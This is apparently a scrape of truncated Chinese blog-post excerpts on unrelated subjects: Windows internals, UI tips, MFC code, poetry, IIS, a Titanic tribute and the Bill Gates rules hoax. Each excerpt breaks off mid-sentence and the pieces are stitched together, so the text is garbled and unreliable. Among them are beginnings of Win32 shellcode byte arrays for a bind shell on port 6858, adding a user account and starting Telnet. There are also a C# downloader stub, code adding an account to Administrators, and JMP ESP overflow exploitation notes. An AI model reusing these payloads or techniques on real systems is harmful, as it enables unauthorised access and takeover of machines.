其他

一下是一個小總結：我們雙擊開啟一程式，其實並不是那麼簡單就直接執行程式的main(Winmain)函數的，雙擊開啟相當於我們在cmd中使用命令開啟該程式一樣，是通過系統外殼Shell開啟的，shell接收到程式啟動的請求，然後為程式做一些準備（包括分配記憶體、建立進程、主線程、等），系統調用CreateProcess函數建立一個進程核心對象（管理該進程的資料結構），然後分配記憶體即為該進程分配虛擬位址空間，然後調用載入器把該進程的資料和代碼載入進來（包括改程式所依賴的動態連結程式庫），然後系統為

可能有一些人不喜歡win7右下角那個語言小表徵圖總是顯示在那裡，很礙眼：如，不喜歡總是顯示在那裡，於是就把它給隱藏了，但是有一天突然間想顯示出來，卻不知道如何顯示了！下面就告訴你！1、隱藏方法：點擊小向下三角形——設定——語言欄——隱藏。即可隱藏，呵呵，右下角終於可以乾淨點了。少了三個表徵圖。隱藏後：乾淨了很多吧！2、重新顯示：開始——控制台——地區和語言（控制台右上方查看方式選擇“大表徵圖”就能看到有這個選項）——地區和語言——鍵盤和語言——更改鍵盤——語言欄——停靠於工作列——OK！如下：

    這是由於一些程式往右鍵菜單添加了一些項，估計是由於該版本太舊或者是由於和系統衝突之類的原因導致當右鍵一個表徵圖的時候導致出現藍屏，重新啟動資源管理員了。   

 /////////////////TransparentDlg.h #pragma once/////////////////////////////////////////////////////////////////////////////// CTransparentDlg dialogclass CTransparentDlg : public CDialog{protected: CBrush m_BkBrush;// Constructionpublic:

簡評 淮上喜會梁州故人BY Delphiscn(cnBlaster#hotmail.com)http://blog.csdn.net/delphiscn淮上喜會梁州故人  韋應物江漢曾為客 相逢每醉還浮雲一別後 流水十年間歡笑情如舊 蕭疏鬢已斑何因不歸去 淮上對秋山簡評:     

1、其實之前看一些教科書，上面說include""和include<>的區別的時候，說是include""就先在工程目錄下面尋找，然後在系統目錄下面找，Inlcude<>就直接系統目錄下面找。這裡面一定程度上造成了我的誤解。上面說的誤解，其實不是指作業系統，而是指當前你所使用的編譯系統，即編譯軟體而已。上面有個設定的，可以手動設定原來預設的設定，添加或者是刪除編譯的時候標頭檔或者其他庫的尋找路徑。2、我們安裝一些軟體，可能不用安裝，就是直接解壓就可以使用，但是有時候需要配

Mydoom.a的後門是以dll形式存在的，通過修改註冊表相應索引值，將自己載入到資源管理員的進程空間中。正常情況下，註冊表應該是這個樣子的：HKEY_CLASSES_ROOT/CLSID/{E6FB5E20-DE35-11CF-9C87-00AA005127ED}/InProcServer32    <NO NAME>   REG_EXPAND_SZ  

win32 Bind shellcode 344 bytesBY Delphiscn (cnBlaster#hotmail.com)http://blog.csdn.net/delphiscnCode:{Binding Port on 6858 to wait a cmdshell}ShellCode:Array [0..343] of Byte =(    $33,$C9,$83,$E9,$B0,$D9,$EE,$D9,$74,$24,$F4,$5B,$81,$73,$13,$44,    $

漏洞說明：PHPWind 論壇系統 是一套採用 php+mysql 資料庫方式運行並可產生

Bill Gates' 11 Rules of Life  Netlore Archive:  Circulating via email, the text of a speech allegedly given by Bill Gates in which he sets out 11 rules of life for today's high school students  BILL GATES' SPEECH TO MT. WHITNEY HIGH SCHOOL in

win32 adduser shellcode 244 bytesBY Delphiscn (cnBlaster#hotmail.com)http://blog.csdn.net/delphiscnCode:{User: DelphiscnPass: 2003}ShellCode:Array [0..243] of Byte =(  $33,$C9,$83,$E9,$C9,$D9,$EE,$D9,$74,$24,$F4,$5B,$81,$73,$13,$50,  $7C,$88,$A1,$83,

The .NET Show  IIS 7.0From:http://msdn.microsoft.com/theshow/episode.aspx?xml=theshow/en/Episode056/manifest.xml    Shipping with Windows Vista will be the latest version of Internet Information Services (IIS), which includes a broad collection of

這個問題我也糾結了很久，最終還是給我ko了！哈哈……解決方案：在調用外面dll函數的時候，首先要在模組裡面通過declear來聲明函數的，另外還有結構體也需要聲明。注意，每個資料的類型要跟dll說明文檔裡面的一致才行，切不可疏忽！結構體裡面有數組的時候，在vb6.0下面是可以直接賦值大小的，但是在.net下面是不允許這樣做的。要在結構體（其實是不能繼承的類而已）裡面聲明建構函式，在外面用new構建執行個體對象便可自動調用建構函式，在建構函式裡面初始化數組大小就可以了！要不然編譯會報錯！在dll結

紀念電影泰坦尼克上映十周年文章作者：Delphiscn資訊來源：http://blog.csdn.net/Delphiscn十年後的擁抱 她和他是我們永遠的回憶 ——題記     一九九七年 她二十二歲 來自英國的清秀少女  　　  　　一九九七年 他二十二歲 初嘗走紅的毛頭小子  　　  　　一部電影 讓她和他成為莫逆之交  　　  　　榮耀之後　　  　　她返回英國 沉迷於文藝作品  　　  　　他左右迷茫 沉寂 低迷  焦躁  　　  　　二零零七年 她三十二歲 英國頂級演技派女星  　　

風險評估雜談文章作者：amxku1

Using Win32 API NetUserAdd and NetLocalGroupAdd to Add a User Account in Administrators GroupBY Delphiscn(Delphiscn@gmail.com)http://blog.csdn.net/delphiscnEnvironment:  Windows Vista Home Premium   VS 2005   Net 2.0using

Downloader Code For CSharpBY Delphiscn(Delphiscn@gmail.com)http://blog.csdn.net/delphiscnEnvironment:  Windows Vista Home Premium   VS 2005   Net 2.0using System.Runtime.InteropServices;using System;class Task{    [DllImport ("Shell32.dll")]   

另一種溢出方式 JMP ESP另一種溢出方式 JMP ESP 資訊來源：openlab.nwpu.edu.cn以上的溢出都是靠猜測buffer位址範圍來進行(當然也可以寫程式不斷猜測)自己寫的程式當然地址很容易確定,但若攻擊別人的程式就不大方便了往往要猜很多此,傳統的程式猜測地址同buffer長度相關,同test()中的資料定義相關,同調用test() 的函數相關 . . . . . 要猜測的範圍就比較大!!!!!   一般不易猜中!當然你用soft_ice跟蹤到test(

利用JMPESP執行shellcode 1. 前言.Linux下面Buffer overflow中利用跳轉到堆棧中的shellcode用的比較多, windows下面利用JMP ESP跳轉的比較多, 本文沒有什麼技術新意,不過是突發奇想, 改變一下我自己以往的方法而已.2. 比較.經常使用的跳轉到堆棧的shellcode方法有很好的一面, 比如可以把shellcode放到ENV裡面, 這樣可以逃避長度的限制. 缺點是這個計算麻煩,增大NOP是個不錯的選擇. Jmp esp也是個不錯的選擇哦,

win32 startTelnet shellcode 172 bytesBY Delphiscn (cnBlaster#hotmail.com)http://blog.csdn.net/delphiscnCode:ShellCode:Array [0..171] of Byte =(  $31,$C9,$83,$E9,$DB,$D9,$EE,$D9,$74,$24,$F4,$5B,$81,$73,$13,$29,  $1E,$4E,$64,$83,$EB,$FC,$E2,$F4,$D5,$F6